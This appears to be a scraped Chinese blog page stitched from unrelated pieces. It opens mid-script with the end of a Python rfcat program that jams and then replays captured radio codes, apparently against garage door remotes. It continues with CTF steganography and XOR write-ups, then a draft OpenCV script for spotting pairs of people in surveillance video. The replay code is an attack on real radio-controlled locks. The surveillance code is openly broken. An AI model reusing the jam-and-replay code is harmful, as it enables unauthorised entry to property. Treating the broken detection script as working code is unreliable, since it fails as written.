if(results.waitForKeypress == True):
    time.sleep(.5)  # Assumes someone using waitForKeypress mode is testing thus they will be pressing button on remote
            # and waiting for the "Done jamming" message, this delay allows their brain to stop pressing the button
            # don't want to accidentally hop to next code
c.setModeIDLE() # put dongle in idle mode to stop jamming

if(results.waitForKeypress == True):
    raw_input(" Press enter to send first capture")
print 'Replaying'
key_packed = bitstring.BitArray(hex=rawCapture[0]).tobytes()
d.makePktFLEN(len(key_packed))
d.RFxmit(key_packed)
print "Sent capture 1"

while True:
    try:
        for i in range(1,len(rawCapture)):

            key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
            raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
            d.makePktFLEN(len(key_packed))
            d.RFxmit(key_packed)
            print "Sent capture " + str(i+1) + " of " + str(len(rawCapture))
    except KeyboardInterrupt:
        print "Bye!"
        d.setModeIDLE()
        c.setModeIDLE() # put dongle in idle mode to stop jamming
        sys.exit()
        break;
print "exiting."
d.setModeIDLE()
c.setModeIDLE()

展示

garage

2023 World Intelligent Congress-Intelligent Driving Challenge | MISC

Challenge name:23333!

难度:Easy

考点:文件十六进制、零宽隐写

WriteUp:

  1. Winhex打开发现明显特征:

    image1

  2. 编写脚本进行恢复:

     input = open(data', 'rb')
     input_all = input.read()
     ss = input_all[::-1]
     output = open('data.zip', 'wb')
     output.write(ss)
     input.close()
     output.close()
  3. vim,打开:零宽隐写:

    image-1

    image

Challenge name:The game of mathematics

难度:Middle

考点:Fuzz

WriteUp:

解压得到key.jpg,是个数独,在线数独求解器 (gwalker.cn)

image-20230517115554833

exif信息里找到提示对角线,根据之前求解的数独结果,得到密码为654917276261618641

image-20230517115636997

得到一个key.txt,根据题目名称数学游戏,猜测也是个数学游戏,fuzz之后发现是Nonogram数织游戏

image-20230517115821023

github上可以找到个解析的网站Nonogram (handsomeone.github.io),得到压缩包密码Take1tEasy

image-20230517120025190

解开得到flag

flag{c6ebcf84bcd54bac0803086a4630f673}

Challenge name:This is Steganography

难度:Middle

考点:LSB音频隐写、webdings字体

WriteUp:

听wav开头有一些杂音,16进制发现data部分有大量不同寻常的01字节

1684287949492-41b83c2b-6b38-4145-a6f6-fbbc0fa717ab

猜测是wav的lsb隐写,写脚本提取

import wave

def read_wav_file(file_path):
    with wave.open(file_path, 'rb') as wav_file:
        params = wav_file.getparams()
        frames = wav_file.readframes(wav_file.getnframes())
    return params, frames

def extract_data(frames):
    binary_data = ''
    for frame in frames:
        binary_frame = format(frame, '08b')
        binary_data += binary_frame[-1]
    return binary_data

def binary_to_bytes(binary_data):
    byte_data = bytearray()
    for i in range(0, len(binary_data), 8):
        byte = binary_data[i:i+8]
        byte_data.append(int(byte, 2))
    return bytes(byte_data)

def save_data_to_file(data, file_path):
    with open(file_path, 'wb') as output_file:
        output_file.write(data)

def main():
    modified_file_path = 'modified_audio.wav'
    params, frames = read_wav_file(modified_file_path)
    extracted_data = extract_data(frames)
    byte_data = binary_to_bytes(extracted_data)
    output_file_path = 'extracted_data.png'

    save_data_to_file(byte_data, output_file_path)

    print("成功提取隐藏的数据并保存到文件。")

if __name__ == '__main__':
    main()

得到一张倒置的图片,是webdings字体(13条消息) 'Webdings' 的字体对照表_webdings字体_chenjieit619的博客-CSDN博客

1684288118403-ff1e1aa8-2ea3-4581-bc38-3a70edc97d49

倒置回来后对照表即可得到flag

flag{8d9ad0457c1a8b603978085b0bffcf93}

Challenge name:You're also confused, right?

难度:Schrödinger

考点:Xor

WriteUp

根据题目提示,应该与异或有关,根据flag.zip​后缀提示,将前几个字节与zip文件头异或

可以得到1234

​​image-20230622155130990​​

猜测zip文件应该是与0x01-0xff递增逐字节异或的,解密脚本:

with open('flag.zip', 'rb') as input_file, open('result.zip', 'wb') as output_file:
    byte = input_file.read(1)  
    xor_value = 0x01  

    while byte:

        xor_byte = bytes([byte[0] ^ xor_value])
        output_file.write(xor_byte)

        byte = input_file.read(1) 
        xor_value = (xor_value + 1) % 256  

压缩包解开可以得到两张图

发现两张图大小相同,

image-20230622155620852

打印xor.png的rgb发现这张图并不是一张全黑的图

image-20230622155655132

结合图片名仍跟异或有关,将两张图逐像素异或

from PIL import Image

image1 = Image.open('xor.png').convert('RGB')
pixels1 = image1.load()

image2 = Image.open('rox.png').convert('RGB')
pixels2 = image2.load()

result_image = Image.new('RGB', image1.size)
result_pixels = result_image.load()

width, height = image1.size
for x in range(width):
    for y in range(height):
        r1, g1, b1 = pixels1[x, y]
        r2, g2, b2 = pixels2[x, y]
        r_xor = r1 ^ r2
        g_xor = g1 ^ g2
        b_xor = b1 ^ b2
        result_pixels[x, y] = (r_xor, g_xor, b_xor)

result_image.save('result.png')

得到的图片与rox.png做盲水印得到flag

image-20230622160030497

image-20230622160045206

flag{AC4E331C-A2D0-CA2C-93D6-B9E22F19A373}

AI | 重明

第一个AI?

“这次任务繁重,诸君共勉!”

1300多个视频,每一个都有六个小时的时长,反复观看,持续三天

要在浩如烟海的视频画面中识别出携带有效信息的三个人,尤其是对于刚刚接触业务工作的我们来说,更是堪比青天揽星

第一次听到这个任务的我,也是沉默了一会儿,唉,是个体力活啊

“大家不用有很大的压力,我们也向很多公司寻求了技术支持,比如某华、某康威视,他们的图像识别技术在国内也是领先水平,有他们的协助,再加上大家的共同努力,相信我们一定可以取得非常不错的成绩。”

嗯?技术支持?图像识别?脑袋轰的一下炸开,我知道python有一个开源库opencv​,但是我平时只是拿来提取简单的色素块进行比较排序,还没试过对复杂图像和长时间视频进行一个深度学习、识别、提取的过程,但这次时间跨度有点长,那为什么我不自己去写一个AI帮我去看呢?🤔

OpenCV

假设,我们有一个西瓜🍉那我们如何判断这是一个西瓜的呢?比如说,我们可以从通过分析它的颜色、形状和质地,都可以说它是西瓜🍉。

下一个问题,计算机怎么知道这是西瓜🍉呢?计算机是没有生活经验的,但是计算机视觉的功能可以通过识别图像的线索来进行判断。而这些线索称为图像的特征,而我们要做的就是帮助计算机检测图像中的各种特征。

听上去是不是简单?但写起来还是挺麻烦的,尤其是对我这种基本没接触过深度学习与神经网络的初学者来讲。。。

但可以先确定一下具体步骤,首先要根据照片生成人体检测模型:

  1. 收集和准备训练数据集:获取包含人体的照片,并为每个人体标注边界框或关键点。可以使用公开的人体检测数据集,如COCO​、MPII​等,或者自己手动标注数据集。
  2. 数据预处理:对收集到的数据集进行预处理,包括图像的调整大小、裁剪、归一化等操作,以便于模型的训练和输入。
  3. 构建模型:选择适合人体检测任务的模型架构,如Faster R-CNN​、YOLO​、SSD​等。可以使用现有的模型架构,并根据需要进行修改或微调。
  4. 训练模型:使用准备好的数据集对模型进行训练。在训练过程中,你需要定义损失函数、选择优化算法,并设置训练的超参数。
  5. 模型评估和调优:在训练完成后,使用验证集或测试集对模型进行评估,了解模型的性能。根据评估结果,可以进行模型的调优,如调整网络结构、调整超参数等。
  6. 导出和使用模型:训练完成后,将模型导出为可用的格式,比如caffemodel​、prototx​,然后再用该模型进行人体检测。

上面这些数据处理、模型训练,我相信公司已经在做了,所以我打算直接嫖他们的训练模型(嘿嘿嘿)

目标识别

然后麻烦的就是目标的判断算法,这几天看大家的照片,都是在以胸前图案为主,我一开始也是这样想的,但是在写代码的时候就发现了问题:

  1. 监控的画质并不是很清晰。
  2. 中午阳光强烈,衣服上的图案可能与衣服本身颜色对比不明显,很难提取。

似乎停滞了?

“目标必须要共同行走一段距离,两者之间相距不得超过1.5米。”
所以我果断换了思路——距离计算

虽然这样也会有一定的问题,比如拍摄角度问题,可能就要根据透视原理之类的适当缩放那个距离数值,但是比起图案识别那个思路来讲,难度小,误差也小,实现起来也简单。

我们可以先对两人添加矩形框,然后取矩形框对角线的交点作为两人的中心点,任意连接两个中心点形成线段,判断线段长度是否持续四秒钟小于1.5米,符合条件的话便对此时画面进行捕捉提取。

而距离度量的话,我选择了欧几里得距离公式(欧氏距离)进行计算:

​​image​​

代码编写

第一次自己操刀写的一个AI,说实话写的不行,不美观,思路还有点杂乱。。。

(这是思路的初稿,二代修正在写了)

#!/usr/bin/env python
#-*- coding: utf-8 -*-
import cv2
import time
import math
import numpy as np
import torch
import torchvision.transforms as transforms
import tensorflow as tf
import tf2caffe
import caffe
import random
import os

# 自定义数据路径
data_dir = 'path1'
train_txt = 'path2'
val_txt = 'path3'

# 定义模型结构
model_template = '''
name: "PersonDetection"
layer {{
  name: "data"
  type: "Data"
  top: "data"
  top: "label"
  include {{
    phase: TRAIN
  }}
  transform_param {{
    mirror: true
    crop_size: 227
    mean_value: 104
    mean_value: 117
    mean_value: 123
  }}
  data_param {{
    source: "{TRAIN_TXT}"
    batch_size: 32
    backend: LMDB
  }}
}}
layer {{
  name: "data"
  type: "Data"
  top: "data"
  top: "label"
  include {{
    phase: TEST
  }}
  transform_param {{
    mirror: false
    crop_size: 227
    mean_value: 104
    mean_value: 117
    mean_value: 123
  }}
  data_param {{
    source: "{VAL_TXT}"
    batch_size: 32
    backend: LMDB
  }}
}}
layer {{
  name: "conv1"
  type: "Convolution"
  bottom: "data"
  top: "conv1"
  convolution_param {{
    num_output: 96
    kernel_size: 11
    stride: 4
  }}
}}
layer {{
  name: "relu1"
  type: "ReLU"
  bottom: "conv1"
  top: "conv1"
}}
# 其他层定义...
'''

# 生成prototxt文件
train_prototxt = 'train.prototxt'
val_prototxt = 'val.prototxt'

with open(train_prototxt, 'w') as f:
    f.write(model_template.format(TRAIN_TXT=train_txt))

with open(val_prototxt, 'w') as f:
    f.write(model_template.format(VAL_TXT=val_txt))

# 训练模型
caffe.set_mode_gpu()
solver = caffe.SGDSolver('solver.prototxt')
solver.solve()

# 保存模型权重
trained_caffemodel = 'trained.caffemodel'
solver.net.save(trained_caffemodel)

# 加载模型文件
net = cv2.dnn.readNetFromCaffe('deploy.prototxt', 'model.caffemodel')
# 加载目标视频
video = cv2.VideoCapture("video.mp4")
# 获取视频帧率
fps = video.get(cv2.CAP_PROP_FPS)
# 定义输出图片路径
output_path = 'output_path'
# 初始化变量
start_frame = 0
end_frame = 0
# 定义距离计算:欧几里得距离公式
def calculate_distance(point1, point2):
    x1, y1 = point1
    x2, y2 = point2
    distance = np.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2)
    return distance
# 取中心点
def calculate_center(box):
    x1, y1, x2, y2 = box
    center_x = int((x1 + x2) // 2)
    center_y = int((y1 + y2) // 2)
    centers.append(center_x, center_y)

# 记录每个人物的最近一次检测时间
person_last_detected = {}

# 定义变量和列表
threshold_distance = 100  # 这里我们假设1.5米对应的像素距离是100
duration_threshold = 3  # 持续时间阈值(单位:秒)
start_time = None  # 记录开始时间
center_points = []  # 存储中心点坐标的列表

while video.isOpened():
    ret, frame = video.read()

    if not ret:
        break
    # 随机选择两个人
    random_indices = random.sample(range(len(centers)), 2)
    selected_centers = [centers[i] for i in random_indices]
    # 进行人体检测并获取人的矩形框
    blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104.0, 177.0, 123.0))
    net.setInput(blob)
    detections = net.forward()
    centers = []

    for i in range(detections.shape[2]):
        confidence = detections[0, 0, i, 2]
        if confidence > 0.5:  # 设置置信度阈值
            center = detections[0, 0, i, 3:7] * np.array([frame.shape[1], frame.shape[0], frame.shape[1], frame.shape[0]])
            center = center.astype(int)
            centers.append(center)

            x1, y1, x2, y2 = center
            cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 2)

    # 对每个人的矩形框进行处理
    for center in centers:
        # 计算中心点坐标
        center = calculate_center(center)
        # 将中心点坐标添加到列表中
        center_points.append(center)
        # 更新人物中心点和最近一次检测时间
        person_last_detected[center] = time.time()

    # 如果中心点坐标列表长度大于等于2
    if len(center_points) >= 2:
        last_three_points = center_points[-2:]  # 获取最后2个中心点坐标

        # 判断距离是否小于1.5米
        distances = [calculate_distance(point1, point2) for point1, point2 in zip(last_three_points[:-1], last_three_points[1:])]
        if all(distance < threshold_distance for distance in distances):
            if start_time is None:
                start_time = time.time()
            elif time.time() - start_time >= duration_threshold:
                cv2.imwrite("captured.jpg", frame)
                print("Hunt!")
        else:
            # 重置起始时间和中心点坐标列表
            start_time = time.time()
            # 清空人物中心点列表
            center_points = []
    # 移除超过持续时间阈值的检测记录
    current_time = time.time()
    person_centers = [center for center in person_centers
            if current_time - person_last_detected[center] <= duration_threshold]

    # 保存当前帧图片
    cv2.imwrite(output_path, frame)

    #  'q' 键退出
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break
# 释放资源
video.release()
cv2.destroyAllWindows()

上面说的其实都不是问题,重要的是我还没有模型。。。没有实际测量,后面我打算弄一个模型简单测测再说吧。

起名?

“嘿,Siri!记录,凌晨零点三十二分,AI主要代码编写完成。”
“好的,我已为您创建好备忘录,请设置一个标题。”
我端起茶杯,浅尝一口,望向窗外,外面早已一片漆黑,仿佛被夜冲刷了所有的痕迹,透着它独有的深邃。
“嗯,就叫重明吧。”

这就是我的第一个AI,一个还不完善的AI🙂